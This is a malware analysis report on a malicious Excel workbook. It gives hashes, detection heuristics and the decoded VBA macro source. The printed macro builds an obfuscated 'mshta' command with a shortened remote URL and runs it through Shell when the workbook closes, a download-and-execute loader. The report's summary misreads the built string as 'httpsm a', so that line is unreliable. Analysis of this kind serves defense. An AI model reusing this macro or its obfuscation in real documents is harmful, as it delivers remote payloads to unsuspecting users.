Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 c7e40c5bb07a38e5…

MALICIOUS

Office (OOXML)

15.4 KB Created: 2006-09-16 00:00:00 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2020-09-24
MD5: a938f9f04b2c8438690c81fe6de0e116 SHA-1: 6f372078a4a3cadf2b7bb66442bc7c813d87120a SHA-256: c7e40c5bb07a38e5d072cc4f4fc3eef3b1ebd6e7ed10da6edc637941ca9e5ae3
120 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter

The sample is an OOXML document containing VBA macros. The Workbook_BeforeClose event triggers the execution of the Shell() function, which is used to run an external command. The function 'tomala' constructs the string 'httpsm a' which is then concatenated with the output of 'kokdasodk' (truncated, but likely intended to form a command or URL). This indicates the macro is designed to download and execute a second-stage payload.

Heuristics 3

  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2029 bytes
SHA-256: 1583d23b1a08cc0543724797386201c5229c37a347a49ddc4929e6175b081934
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "m"
Function tomala() As String
lora = "h"
myralun = lora
pupu = myralun
agonlove = "s"
agonlovefailed = agonlove
pin = "m"
topalota = pin
golopu = topalota
chuchu = golopu
clit = "t"
vigina = clit
sexi = vigina
ugary = "a "
susuo = ugary
tolach = chuchu + agonlovefailed + pupu + sexi + susuo
lo = tolach
tomala = lo
End Function


        


Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_BeforeClose(Cancel As Boolean)
Shell tomala + kokdasodk
End Sub



Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "lk"
Function kokdasodk() As String
hotguase = "t"
polaotos = "p"
poloots = "h"
koasmxjw = "s:/"
kdjkeurg = "/%909123id%909123id%909123id%909123id%909123id@j.mp\kasdasdasasdasddskdd"
zuoosaod = poloots + hotguase + hotguase + polaotos + koasmxjw + kdjkeurg
koasdllo = zuoosaod
kokdasodk = koasdllo
End Function
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 22016 bytes
SHA-256: 624b25d4c90d6f860c7e78d95362abf52fd9edf51c565ee1e09cbfd22762217c